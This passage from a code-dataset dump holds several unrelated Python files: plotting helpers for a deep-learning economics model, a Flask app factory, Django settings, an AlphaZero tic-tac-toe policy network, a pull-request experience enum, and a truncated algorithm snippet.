||diff.||_2 = ' + str(twoNormXiH_surf),),\n specs=[[{'type': 'surface'}, {'type': 'surface'}]])\n \n fig.update_layout(\n title='MRF vs NN solutions - surface plots',\n scene =dict(xaxis_title='Z', yaxis_title='W', zaxis_title='Risk price 1'),\n scene2=dict(xaxis_title='V', yaxis_title='W', zaxis_title='Risk price 1'),\n title_x = 0.5,\n title_y = 0.98)\n \n ### Risk prices Pi eq. (62). Risk price 1 as a function of (Z, W) with V fixed\n fig.add_trace(go.Surface(\n x=Z[idxV].reshape([n_points, 30], order='F'),\n y=W[idxV].reshape([n_points, 30], order='F'),\n z=Pi_MFR[:,0][idxV].reshape([n_points, 30], order='F'),\n colorscale='Viridis', showscale=False, name='MFR', showlegend=True), row=1, col=1)\n fig.add_trace(go.Surface(\n x=Z[idxV].reshape([n_points, 30], order='F'),\n y=W[idxV].reshape([n_points, 30], order='F'),\n z=Pi_NN[:,0][idxV].reshape([n_points, 30], order='F'),\n showscale=False, name='NN', showlegend=True), row=1, col=1)\n \n ### Risk prices Pi eq. (62). Risk price 1 as a function of (V, W) with Z fixed\n fig.add_trace(go.Surface(\n x=V[idxZ].reshape([n_points, 30], order='F'),\n y=W[idxZ].reshape([n_points, 30], order='F'),\n z=Pi_MFR[:,0][idxZ].reshape([n_points, 30], order='F'),\n colorscale='Viridis', showscale=False), row=1, col=2)\n fig.add_trace(go.Surface(\n x=V[idxZ].reshape([n_points, 30], order='F'),\n y=W[idxZ].reshape([n_points, 30], order='F'),\n z=Pi_NN[:,0][idxZ].reshape([n_points, 30], order='F'),\n showscale=False), row=1, col=2)\n \n # fig.update_layout(height=400, width=1200)\n \n fig.show()\n \ndef plotRiskPricesNN(valueFunctionLogE, valueFunctionLogH, policyFunctionKappa, params, n_points):\n \n '''\n Generates surface plot risk prices when MFR solutions are not avialable. Grid size is the same in each state variable. \n \n Parameters:\n valueFunctionLogE: a keras sequential nueral network object\n valueFunctionLogH: a keras sequential nueral network object\n policyFunctionKappa: a keras sequential nueral network object\n params: economic model parameters e.g. risk aversions, IES etc.\n n_points: how many points to use in the grid of each state variable for plotting\n \n Returns: None. Generates a 1x2 plot of surfaces\n '''\n order_states = {'W':0, 'Z': 1, 'V': 2}\n \n Wt = tf.reshape(tf.linspace(start = params['wMin'], stop = params['wMax'], num=n_points), shape=(n_points,1))\n Zt = tf.reshape(tf.linspace(start = params['zMin'], stop = params['zMax'], num=n_points), shape=(n_points,1))\n Vt = tf.reshape(tf.linspace(start = params['vMin'], stop = params['vMax'], num=n_points), shape=(n_points,1))\n \n Wm, Zm, Vm= np.meshgrid(Wt.numpy(), Zt.numpy(), Vt.numpy(), indexing='ij')\n \n X = np.stack((Wm.flatten(), Zm.flatten(), Vm.flatten()), axis=1)\n X = tf.Variable(X)\n \n nShocks = params['sigmaK'].shape[0]\n nStates = X.shape[1]\n batchSize = X.shape[0]\n \n logXiE = valueFunctionLogE(X)\n logXiH = valueFunctionLogH(X)\n xiE = tf.exp(logXiE)\n xiH = tf.exp(logXiH)\n kappa = policyFunctionKappa(X)\n \n if params['a_h'] > 0:\n kappa = kappa\n else:\n kappa = tf.ones([batchSize,1])\n \n ## Derivatives\n with tf.GradientTape(persistent=True) as t1:\n LogXiE = valueFunctionLogE(X)\n LogXiH = valueFunctionLogH(X)\n num_q = (1 - kappa) * params['a_h'] + kappa * params['a_e'] + 1 / params['phi']\n den_q = (1 - X[:,order_states['W'], tf.newaxis]) * tf.pow(params['rho_h'], 1 / params['psi_h']) \\\n * tf.pow(xiH, 1 - 1 / params['psi_h']) + X[:,order_states['W'], tf.newaxis] * tf.pow(params['rho_e'], 1 / params['psi_e']) \\\n * tf.pow(xiE, 1 - 1 / params['psi_e']) + 1 / params['phi']\n Q = num_q / den_q ##### eq. (44)\n logQ = tf.math.log(Q)\n \n ### First ord. der.\n dX_LogXiE = t1.gradient(LogXiE, X)\n dX_LogXiH = t1.gradient(LogXiH, X)\n dX_logQ = t1.gradient(logQ, X)\n \n dZ_logQ = dX_logQ[:,1:2]\n dV_logQ = dX_logQ[:,2:3]\n \n ## Compute drifts and volatilities. For now, assume no idio vol (\\varsigma = 0 everywhere)\n sigmaK = params['sigmaK'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n sigmaZ = params['sigmaZ'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n sigmaV = params['sigmaV'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n \n ## Compute chi\n sigmaXtilde = [sigmaZ, sigmaV]\n #### Terms for chi\n Dx = sigmaK + (sigmaZ*dZ_logQ + sigmaV*dV_logQ) ###### eq. (68)\n DxNormSq = tf.reduce_sum(Dx * Dx, axis = 1, keepdims=True)\n DzetaOmega = DxNormSq * ( ( params['gamma_h'] - 1.0) * dX_LogXiH[:,order_states['W'], tf.newaxis] - \n (params['gamma_e'] - 1.0) * dX_LogXiE[:,order_states['W'], tf.newaxis] );\n \n DzetaOmega = DzetaOmega * X[:,order_states['W'], tf.newaxis] * (1 - X[:,order_states['W'], tf.newaxis]) \n DzetaX = tf.zeros(DzetaOmega.shape, dtype=tf.float64)\n \n for s in range(nShocks):\n for n in range(1,nStates):\n DzetaX = DzetaX + Dx[:,s, tf.newaxis] * ( sigmaXtilde[n-1][:,s, tf.newaxis] * ( ( params['gamma_h'] - 1.0) * dX_LogXiH[:,n, tf.newaxis] - \n (params['gamma_e'] - 1.0) * dX_LogXiE[:,n, tf.newaxis] ) ) \n \n DzetaX = DzetaX * X[:,order_states['W'], tf.newaxis] * (1 - X[:,order_states['W'], tf.newaxis]) ###### eq. (68)\n \n # #### Find chi\n chiN = DzetaX - X[:,order_states['W'], tf.newaxis] * (1 - X[:,order_states['W'], tf.newaxis]) * (params['gamma_e'] - params['gamma_h']) * DxNormSq\n chiD = ( ( 1 - X[:,order_states['W'], tf.newaxis]) * params['gamma_e'] + X[:,order_states['W'], tf.newaxis] * params['gamma_h'] ) * DxNormSq + dX_logQ[:,0, tf.newaxis] * DzetaX - DzetaOmega\n chi = chiN / chiD + X[:,order_states['W'], tf.newaxis] ###### eq. (68)\n chi = tf.math.maximum(chi, params['chiUnderline'])\n \n ## Compute deltaE and deltaH\n sigmaQ = ( (chi * kappa - tf.reshape(X[:, order_states['W']],[batchSize, 1]) ) * sigmaK * tf.reshape(dX_logQ[:,0], [batchSize,1]) + sigmaZ * tf.reshape(dX_logQ[:,1], [batchSize, 1])\n + sigmaV * tf.reshape(dX_logQ[:,2], [batchSize,1] ) ) / (1.0 - (chi * kappa - tf.reshape(X[:,order_states['W']],[batchSize, 1]) ) * tf.reshape(dX_logQ[:,0], [batchSize,1]) ) ###### eq. (57)\n \n sigmaR = sigmaK + sigmaQ ###### eq. (58) simplified\n \n # sigmaRNormSq = tf.reshape(tf.reduce_sum(sigmaR * sigmaR, axis = 1), [batchSize,1]) #tf.reshape( tf.square(tf.norm(sigmaR,ord='euclidean', axis= 1)), [batchSize,1])\n \n \n sigmaW = (chi * kappa - tf.reshape(X[:,order_states['W']], [batchSize,1]) ) * sigmaR ###### eq. (52)\n \n Pi = params['gamma_h'] * ( (1.0 - chi * kappa) / (1.0 - tf.reshape(X[:,order_states['W']], [batchSize,1]) ) ) * sigmaR + \\\n (params['gamma_h'] - 1.0) * (sigmaW * tf.reshape(dX_LogXiH[:,0], [batchSize, 1]) + sigmaZ * tf.reshape(dX_LogXiH[:,1], [batchSize, 1]) + \\\n sigmaV * tf.reshape(dX_LogXiH[:,2], [batchSize, 1]) ) ###### eq. (62)\n \n Pi_1 = np.reshape(Pi[:,0], (n_points,n_points,n_points))\n W_fixed, Z_fixed, V_fixed = n_points//2, n_points//2, n_points//2\n \n fig = make_subplots(\n rows=1, cols=2, \n horizontal_spacing=.05, vertical_spacing=.05,\n subplot_titles=(r'Risk price (households): first shock
V fixed at grid midpoint',\n r'Risk price (households): first shock
Z fixed at grid midpoint',),\n specs=[[{'type': 'surface'}, {'type': 'surface'}]])\n \n fig.update_layout(\n title='Risk prices',\n scene =dict(xaxis_title='Z', yaxis_title='W', zaxis_title='Risk price 1'),\n scene2=dict(xaxis_title='V', yaxis_title='W', zaxis_title='Risk price 1'),\n title_x = 0.5,\n title_y = 0.98)\n \n ### Risk prices Pi eq. (62). Risk price 1 as a function of (Z, W) with V fixed\n fig.add_trace(go.Surface(\n x= Zm[:,:,V_fixed],\n y= Wm[:,:,V_fixed],\n z= Pi_1[:,:,V_fixed],\n colorscale='Viridis', showscale=False, name='NN', showlegend=True), row=1, col=1)\n \n ### Risk prices Pi eq. (62). Risk price 1 as a function of (V, W) with Z fixed\n fig.add_trace(go.Surface(\n x= Vm[:,Z_fixed,:],\n y= Wm[:,Z_fixed,:],\n z= Pi_1[:,Z_fixed,:],\n colorscale='Viridis', showscale=False), row=1, col=2)\n \n # fig.update_layout(height=400, width=1200)\n \n fig.show()\n\n \n## Plotting on a non MFR grid\ndef generateSurfacePlotsNNs(logXiE_NN, logXiH_NN, kappa_NN, params, n_points):\n\n Wt = tf.reshape(tf.linspace(start = params['wMin'], stop = params['wMax'], num=n_points), shape=(n_points,1))\n Zt = tf.reshape(tf.linspace(start = params['zMin'], stop = params['zMax'], num=n_points), shape=(n_points,1))\n Vt = tf.reshape(tf.linspace(start = params['vMin'], stop = params['vMax'], num=n_points), shape=(n_points,1))\n \n Wm, Zm, Vm= np.meshgrid(Wt.numpy(), Zt.numpy(), Vt.numpy(), indexing='ij')\n \n inps = np.stack((Wm.flatten(), Zm.flatten(), Vm.flatten()), axis=1)\n \n logXiE_NN_predicted = logXiE_NN(inps)\n logXiH_NN_predicted = logXiH_NN(inps)\n kappa_NN_predicted = kappa_NN(inps)\n \n logXiE_NN_predicted = np.reshape(logXiE_NN_predicted, (n_points,n_points,n_points))\n logXiH_NN_predicted = np.reshape(logXiH_NN_predicted, (n_points,n_points,n_points))\n kappa_NN_predicted = np.reshape(kappa_NN_predicted , (n_points,n_points,n_points))\n \n W_fixed, Z_fixed, V_fixed = n_points//2, n_points//2, n_points//2\n \n fig = make_subplots(\n rows=1, cols=3, \n horizontal_spacing=.01, vertical_spacing=.01,\n subplot_titles=('Experts value funcion
Z fixed at grid midpoint', 'Households value function
Z fixed at grid midpoint', 'Kappa
V fixed at grid midpoint'),\n specs=[[{'type': 'surface'}, {'type': 'surface'}, {'type': 'surface'}]])\n fig.update_layout(\n title='Value functions and kappa',\n scene =dict(xaxis_title='W', yaxis_title='V', zaxis_title='xi_e'),\n scene2=dict(xaxis_title='W', yaxis_title='V', zaxis_title='xi_h'),\n scene3=dict(xaxis_title='W', yaxis_title='Z', zaxis_title='kappa', zaxis=dict(range=[0,1.02]) ), ## !!! There is a bug in plotly !!! If kappa is identically eq. to 1 the plot will not render\n title_x = 0.5,\n title_y = 0.98)\n \n # Experts value function as function of (W, V), Z fixed\n fig.add_trace(go.Surface(\n x= Wm[:,Z_fixed,:],\n y= Vm[:,Z_fixed,:],\n z= logXiE_NN_predicted[:,Z_fixed,:],\n colorscale='Viridis', showscale=False, name='NN', showlegend=True), row=1, col=1)\n \n ## Households value function as function of (W, V), Z fixed\n fig.add_trace(go.Surface(\n x= Wm[:,Z_fixed,:],\n y= Vm[ :,Z_fixed,:],\n z= logXiH_NN_predicted[:,Z_fixed,:],\n colorscale='Viridis', showscale=False, name='NN', showlegend=False), row=1, col=2)\n \n ## Kappa as a function of (W, Z), V fixed\n fig.add_trace(go.Surface(\n x= Wm[:,:,V_fixed],\n y= Zm[:,:,V_fixed],\n z= kappa_NN_predicted[:,:,V_fixed],\n colorscale='Viridis', showscale=False, name='NN', showlegend=False), row=1, col=3)\n \n fig.add_trace(go.Surface(\n x= Wm[:,:,V_fixed],\n y= Zm[:,:,V_fixed],\n z= logXiH_NN_predicted[:,Z_fixed,:]-10,\n colorscale='Viridis', showscale=False, name='NN', showlegend=False), row=1, col=3) ### Hardcode things by plotting VF for households shifted down by 10. \n ### I have absolutely no idea how to fix the plotly bug when kappa==1\n fig.show()\n \n###############################################################################\n################# Misc helper functions ####################\n############################################################################### \n\n# def setModelParameters( nu_newborn = 0.1, lambda_d = 0.02, lambda_Z = 0.252, lambda_V = 0.156, lambda_Vtilde = 1.38, \n# Z_bar = 0.0, V_bar = 1.0, delta_e = 0.05, delta_h = 0.05, a_e = 0.14, a_h = 0.135,\n# rho_e = 0.05, rho_h = 0.05, phi = 3, gamma_e = 1, gamma_h = 1, psi_e = 1, \n# psi_h = 1, sigma_K_norm = 0.04, sigma_Z_norm = 0.0141, sigma_V_norm = 0.132, sigma_Vtilde_norm = 0.0, equityIss = 2, \n# chiUnderline = 1.0, alpha_K = 0.05, delta = 0.05, numSds = 5, Vtilde_bar = 0.0,\n# cov11 = 1.0, cov12 = 0, cov13 = 0, cov14 = 0, \n# cov21 = 0, cov22 = 1.0, cov23 = 0, cov24 = 0, \n# cov31 = 0, cov32 = 0, cov33 = 1.0, cov34 = 0, \n# cov41 = 0, cov42 = 0, cov43 = 0, cov44 = 1.0):\n\n# paramsDefault = {}\n\n# ####### Model parameters #######\n# paramsDefault['nu_newborn'] = tf.constant(nu_newborn, dtype=tf.float32);\n# paramsDefault['lambda_d'] = tf.constant(lambda_d, dtype=tf.float32);\n# paramsDefault['lambda_Z'] = tf.constant(lambda_Z, dtype=tf.float32);\n# paramsDefault['lambda_V'] = tf.constant(lambda_V, dtype=tf.float32);\n# paramsDefault['lambda_Vtilde'] = tf.constant(lambda_Vtilde, dtype=tf.float32);\n# paramsDefault['Vtilde_bar'] = tf.constant(Vtilde_bar, dtype=tf.float32);\n# paramsDefault['Z_bar'] = tf.constant(Z_bar, dtype=tf.float32);\n# paramsDefault['V_bar'] = tf.constant(V_bar, dtype=tf.float32);\n# paramsDefault['delta_e'] = tf.constant(delta_e, dtype=tf.float32);\n# paramsDefault['delta_h'] = tf.constant(delta_h, dtype=tf.float32);\n# paramsDefault['a_e'] = tf.constant(a_e, dtype=tf.float32);\n# paramsDefault['a_h'] = tf.constant(a_h, dtype=tf.float32); ###Any negative number means -infty\n# paramsDefault['rho_e'] = tf.constant(rho_e, dtype=tf.float32);\n# paramsDefault['rho_h'] = tf.constant(rho_h, dtype=tf.float32);\n# paramsDefault['phi'] = tf.constant(phi, dtype=tf.float32);\n# paramsDefault['gamma_e'] = tf.constant(gamma_e, dtype=tf.float32);\n# paramsDefault['gamma_h'] = tf.constant(gamma_h, dtype=tf.float32);\n# paramsDefault['psi_e'] = tf.constant(psi_e, dtype=tf.float32);\n# paramsDefault['psi_h'] = tf.constant(psi_h, dtype=tf.float32);\n# paramsDefault['sigma_K_norm'] = tf.constant(sigma_K_norm, dtype=tf.float32);\n# paramsDefault['sigma_Z_norm'] = tf.constant(sigma_Z_norm, dtype=tf.float32);\n# paramsDefault['sigma_V_norm'] = tf.constant(sigma_V_norm, dtype=tf.float32);\n# paramsDefault['sigma_Vtilde_norm'] = tf.constant(sigma_Vtilde_norm, dtype=tf.float32);\n# paramsDefault['equityIss'] = tf.constant(equityIss, dtype=tf.float32);\n# paramsDefault['chiUnderline'] = tf.constant(chiUnderline, dtype=tf.float32);\n# paramsDefault['alpha_K'] = tf.constant(alpha_K, dtype=tf.float32);\n# paramsDefault['delta'] = tf.constant(delta, dtype=tf.float32);\n\n\n# paramsDefault['cov11'] = tf.constant(cov11, dtype=tf.float32);\n# paramsDefault['cov12'] = tf.constant(cov12, dtype=tf.float32);\n# paramsDefault['cov13'] = tf.constant(cov13, dtype=tf.float32);\n# paramsDefault['cov14'] = tf.constant(cov14, dtype=tf.float32);\n\n# paramsDefault['cov21'] = tf.constant(cov21, dtype=tf.float32);\n# paramsDefault['cov22'] = tf.constant(cov22, dtype=tf.float32);\n# paramsDefault['cov23'] = tf.constant(cov23, dtype=tf.float32);\n# paramsDefault['cov24'] = tf.constant(cov24, dtype=tf.float32);\n\n# paramsDefault['cov31'] = tf.constant(cov31, dtype=tf.float32);\n# paramsDefault['cov32'] = tf.constant(cov32, dtype=tf.float32);\n# paramsDefault['cov33'] = tf.constant(cov33, dtype=tf.float32);\n# paramsDefault['cov34'] = tf.constant(cov34, dtype=tf.float32);\n\n# paramsDefault['cov41'] = tf.constant(cov41, dtype=tf.float32);\n# paramsDefault['cov42'] = tf.constant(cov42, dtype=tf.float32);\n# paramsDefault['cov43'] = tf.constant(cov43, dtype=tf.float32);\n# paramsDefault['cov44'] = tf.constant(cov44, dtype=tf.float32);\n\n# paramsDefault['numSds'] = 5\n\n# ########### Derived parameters\n# ## Covariance matrices \n# paramsDefault['sigmaK'] = tf.concat([paramsDefault['cov11'] * paramsDefault['sigma_K_norm'], \n# paramsDefault['cov12'] * paramsDefault['sigma_K_norm'],\n# paramsDefault['cov13'] * paramsDefault['sigma_K_norm'],\n# paramsDefault['cov14'] * paramsDefault['sigma_K_norm']], 0)\n\n# paramsDefault['sigmaZ'] = tf.concat([paramsDefault['cov21'] * paramsDefault['sigma_Z_norm'], \n# paramsDefault['cov22'] * paramsDefault['sigma_Z_norm'],\n# paramsDefault['cov23'] * paramsDefault['sigma_Z_norm'],\n# paramsDefault['cov24'] * paramsDefault['sigma_Z_norm']], 0)\n\n# paramsDefault['sigmaV'] = tf.concat([paramsDefault['cov31'] * paramsDefault['sigma_V_norm'], \n# paramsDefault['cov32'] * paramsDefault['sigma_V_norm'],\n# paramsDefault['cov33'] * paramsDefault['sigma_V_norm'],\n# paramsDefault['cov34'] * paramsDefault['sigma_V_norm']], 0)\n \n# ## Min and max of state variables\n# ## min/max for V\n# shape = 2 * paramsDefault['lambda_V'] * paramsDefault['V_bar'] / (tf.pow(paramsDefault['sigma_V_norm'],2));\n# rate = 2 * paramsDefault['lambda_V'] / (tf.pow(paramsDefault['sigma_V_norm'],2));\n# paramsDefault['vMin'] = 0.00001;\n# paramsDefault['vMax'] = paramsDefault['V_bar'] + paramsDefault['numSds'] * tf.sqrt( shape / tf.pow(rate, 2));\n\n# ## min/max for Z\n# zVar = tf.pow(paramsDefault['V_bar'] * paramsDefault['sigma_Z_norm'], 2) / (2 * paramsDefault['lambda_Z'])\n# paramsDefault['zMin'] = paramsDefault['Z_bar'] - paramsDefault['numSds'] * tf.sqrt(zVar)\n# paramsDefault['zMax'] = paramsDefault['Z_bar'] + paramsDefault['numSds'] * tf.sqrt(zVar)\n\n# ## min/max for W\n# paramsDefault['wMin'] = 0.01\n# paramsDefault['wMax'] = 1 - paramsDefault['wMin'] \n\n# return paramsDefault","repo_name":"yavorkovachev/Deep_learning_for_stoch_opt_control","sub_path":"Financial_frictions/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":36036,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"18351425101","text":"from flask import Flask, flash, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_login import LoginManager, login_user, login_required, logout_user\nfrom flask_migrate import Migrate\nfrom owl_mail.models import db, User\n\ndef create_app(test_config = False):\n app = Flask(__name__)\n Bootstrap(app)\n if test_config:\n app.config.from_object('config.TestConfig')\n else:\n app.config.from_object('config.BaseConfig')\n db.init_app(app)\n migrate = Migrate(app, db)\n login_manager = LoginManager()\n login_manager.init_app(app)\n login_manager.login_view = 'login'\n\n @login_manager.user_loader\n def load_user(user_id):\n return User.query.get(user_id)\n\n with app.app_context():\n from owl_mail import routes\n\n return app","repo_name":"Quastrado/project_o_mail_service","sub_path":"owl_mail/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"72294155254","text":"import os, dj_database_url\nfrom pathlib import Path\n\nfrom decouple import config\n\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\nSECRET_KEY = config(\"SECRET_KEY\", default='')\n\n#manifest json error if false ?\nDEBUG = False\n\nALLOWED_HOSTS = ['gts-app-5fdd78ff9026.herokuapp.com']\n\n# 'greening-the-spark.herokuapp.com'\n# 'gts-app-5fdd78ff9026.herokuapp.com'\nINSTALLED_APPS = [\n 'baton',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'greening_the_spark_api',\n\n 'baton.autodiscover',\n 'rest_framework',\n 'corsheaders',\n 'drf_yasg'\n\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nC_IP = config(\"C_IP\", default='')\nB_IP = config(\"B_IP\", default='')\n\nCORS_ALLOW_ALL_ORIGINS = False\nCORS_ALLOWED_ORIGINS = [\n \"https://gts-app-5fdd78ff9026.herokuapp.com\",\n B_IP,\n C_IP\n]\n\nROOT_URLCONF = 'greening_the_spark.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'build')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'greening_the_spark.wsgi.application'\n\n# required for production\nDATABASES = {'default': dj_database_url.config(default=config(\"JAWSDB_URL\", default=''))}\n\n# required for development\n\"\"\"DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': config(\"DATABASE_NAME\", default=''),\n 'USER': config('DATABASE_USER', default=''),\n 'HOST': config('DATABASE_HOST', default=''),\n 'PORT': config('PORT', default='3306', cast=float),\n 'PASSWORD': config('DATABASE_PASS', default=''),\n 'OPTIONS': {'sql_mode': 'traditional'}}\n}\"\"\"\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.AllowAny',\n ]\n}\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nDummy = \"something\"\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\nSTATIC_URL = '/static/'\n\nSTATIC_ROOT = os.path.join(BASE_DIR, \"staticfiles\")\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, 'build/static')\n]\nSTATICFILES_STORAGE = \"whitenoise.storage.CompressedStaticFilesStorage\"\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\n\nBATON = {\n 'SITE_HEADER': 'Greening The Spark',\n 'SITE_TITLE': 'Greening The Spark',\n 'INDEX_TITLE': 'Site administration',\n 'SUPPORT_HREF': 'https://github.com/otto-torino/django-baton/issues',\n 'COPYRIGHT':\n 'copyright © 2017 ',\n 'POWERED_BY': 'Cornucopia',\n 'CONFIRM_UNSAVED_CHANGES': True,\n 'SHOW_MULTIPART_UPLOADING': True,\n 'ENABLE_IMAGES_PREVIEW': True,\n 'CHANGELIST_FILTERS_IN_MODAL': True,\n 'CHANGELIST_FILTERS_ALWAYS_OPEN': False,\n 'CHANGELIST_FILTERS_FORM': True,\n 'COLLAPSABLE_USER_AREA': False,\n 'MENU_ALWAYS_COLLAPSED': False,\n 'MENU_TITLE': 'Menu',\n 'MESSAGES_TOASTS': False,\n 'GRAVATAR_DEFAULT_IMG': 'retro',\n 'LOGIN_SPLASH': '/static/core/img/login-splash.png',\n 'SEARCH_FIELD': {\n 'label': 'Search contents...',\n 'url': '/search/',\n }\n}\n\n\nUSE_S3 = config(\"USES3\", default='False') == 'FALSE'\nAWS_S3_ADDRESSING_STYLE = \"virtual\"\n\nif USE_S3 is True:\n # aws settings\n AWS_ACCESS_KEY_ID = config(\"AWS_ACCESS_KEY_ID\", default='')\n AWS_SECRET_ACCESS_KEY = config(\"AWS_SECRET_ACCESS_KEY\", default='')\n AWS_STORAGE_BUCKET_NAME = config(\"AWS_STORAGE_BUCKET_NAME\", default='')\n\n AWS_DEFAULT_ACL = None\n\n AWS_S3_REGION_NAME = config(\"AWS_S3_REGION_NAME\", default='')\n AWS_S3_CUSTOM_DOMAIN = f'{AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com'\n AWS_S3_OBJECT_PARAMETERS = {'CacheControl': 'max-age=86400'}\n\n PRIVATE_MEDIA_LOCATION = 'private'\n PRIVATE_FILE_STORAGE =\\\n 'greening_the_spark.storage_backends.PrivateMediaStorage'\n\nelse:\n MEDIA_URL = '/media/'\n MEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n","repo_name":"BenWL96/Greening-The-Spark","sub_path":"greening_the_spark/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73322329014","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom math import *\nimport numpy as np\nimport random\n\nCONVO_1_OUT = 16\nCONVO_1_KERNEL_SIZE = 2\nCONVO_2_OUT = 32\nCONVO_2_KERNEL_SIZE = 3\n\nclass Policy(nn.Module):\n\n def __init__(self, board_size=3):\n super(Policy, self).__init__()\n #board size\n self.board_size = board_size\n #convolution layers\n self.conv1 = nn.Conv2d(1, CONVO_1_OUT, kernel_size=CONVO_1_KERNEL_SIZE, stride=1, bias=False)\n self.conv2 = nn.Conv2d(CONVO_1_OUT, CONVO_2_OUT, kernel_size=CONVO_2_KERNEL_SIZE, stride=1, bias=False)\n self.size = CONVO_2_KERNEL_SIZE**2 * CONVO_2_OUT\n \n\n # layers for the policy\n self.fc_action1 = nn.Linear(self.size, self.size//2)\n self.fc_action2 = nn.Linear(self.size//2, self.board_size**2)\n \n # layers for the critic\n self.fc_value1 = nn.Linear(self.size, self.size//4)\n self.fc_value2 = nn.Linear(self.size//4, 1)\n self.tanh_value = nn.Tanh()\n\n #optimizer\n self.optim = optim.Adam(self.parameters(), lr=0.01, weight_decay=1e-4)\n\n \n\n \n def forward(self, x):\n\n\n y = F.leaky_relu(self.conv1(x))\n # print(y.size())\n y = F.leaky_relu(self.conv2(y))\n y = y.view(-1, self.size)\n \n \n # the action head\n a = F.leaky_relu(self.fc_action1(y))\n a = self.fc_action2(a)\n # availability of moves\n avail = (torch.abs(x.squeeze())!=1).type(torch.FloatTensor)\n avail = avail.reshape(-1, self.board_size**2)\n \n # locations where actions are not possible, we set the prob to zero\n maxa = torch.max(a)\n # subtract off max for numerical stability (avoids blowing up at infinity)\n exp = avail*torch.exp(a-maxa)\n prob = exp/torch.sum(exp)\n \n \n # the value head\n value = F.relu(self.fc_value1(y))\n value = self.tanh_value(self.fc_value2(value))\n # print(value)\n return prob.view(self.board_size, self.board_size), value\n\n def optimize(self, leaf, vterm, logterm):\n #minimize policy loss (defined as predicted winner versus actual winner)\n outcome = leaf.outcome\n loss = torch.sum( (torch.stack(vterm)-outcome)**2 + torch.stack(logterm) )\n self.optim.zero_grad()\n loss.backward()\n self.optim.step()\n return float(loss)\n\n","repo_name":"huytrinhx/Reinforcement-Learning","sub_path":"Alpha-Zero-TicTacToe/Policy.py","file_name":"Policy.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29545897936","text":"from enum import Enum\n\n\nclass UserPRExperience(Enum):\n first_timers = (0, 5)\n novice = (5, 10)\n regulars = (10, 50)\n veterans = (50, 100)\n legends = (100, 1000000)\n\n @staticmethod\n def find(pr_count: int):\n for item in UserPRExperience:\n if item.value[0] <= pr_count < item.value[1]:\n return item\n raise OutOfRangeException(pr_count)\n\n\nclass OutOfRangeException(Exception):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\nclass ExperienceSummary:\n def __init__(self, user_experience: UserPRExperience,\n people_count: int,\n pr_count: int):\n self._user_experience = user_experience\n self._people_count = people_count\n self._pr_count = pr_count\n\n def summary(self) -> str:\n pr_suffix = 's' if self._pr_count != 1 else ''\n pr_summary = f'{self._pr_count} PR{pr_suffix}'\n\n people_suffix = 'people' if self._people_count != 1 else 'person'\n people_summary = f'{self._people_count} {people_suffix}'\n\n user_summary = f'{pr_summary} by {people_summary}'\n\n return f\" {self._user_experience.name}: {user_summary}\"\n","repo_name":"javatarz/github-contribution-leaderboard","sub_path":"ghcl/models/user_experience.py","file_name":"user_experience.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"34261370922","text":"import sys\nA, B = map(int, sys.stdin.readline().split())\n\ncount = 0\nwhile A < B:\n if B % 2 == 0:\n B //= 2\n count += 1\n elif B % 10 == 1:\n B //= 10\n count += 1\n else:\n break\n\nif A == B:\n print(count+1)\nelse:\n 